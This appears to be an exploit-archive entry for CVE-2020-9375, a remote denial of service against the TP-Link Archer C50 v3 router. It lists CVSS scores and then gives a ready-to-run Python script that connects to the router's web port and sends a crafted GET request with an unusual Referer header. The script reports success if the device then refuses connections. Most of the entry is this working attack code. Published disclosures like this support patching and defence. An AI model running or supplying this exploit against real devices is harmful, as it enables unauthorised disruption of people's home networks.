TP-Link Archer C50 V3 Denial of Service

2020.03.29
Credit: thewhiteh4t
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-772


CVSS Base Score: 7.8/10
Impact Subscore: 6.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Complete

# Exploit Title: TP-Link Archer C50 v3 Denial of Service # Date: 25-01-2020 # Exploit Author: thewhiteh4t # Vendor Homepage: https://www.tp-link.com/ # Version: TP-Link Archer C50 v3 Build 171227 # Tested on: Arch Linux x64 # CVE: CVE-2020-9375 # Description: https://thewhiteh4t.github.io/2020/02/27/CVE-2020-9375-TP-Link-Archer-C50-v3-Denial-of-Service.html import time import socket ip = '192.168.0.1' port = 80 print('[+] IP : ' + ip) print('[+] Port : ' + str(port)) for i in range(2): time.sleep(1) try: print('[+] Initializing Socket...') s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) print('[!] Connecting to target...') s.connect((ip, port)) header = 'GET / HTTP/1.1\r\nHost: {}\r\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0\r\nReferer: thewhiteh4t\r\n\r\n'.format(ip) header = header.encode() print('[!] Sending Request...') s.sendall(header) print('[!] Disconnecting Socket...') s.close() if i == 1: print('[-] Exploit Failed!') break except Exception as e: if 'Connection refused' in str(e): print('[+] Connection Refused...Exploit Successful!') break else: print('[-] Exploit Failed!') break


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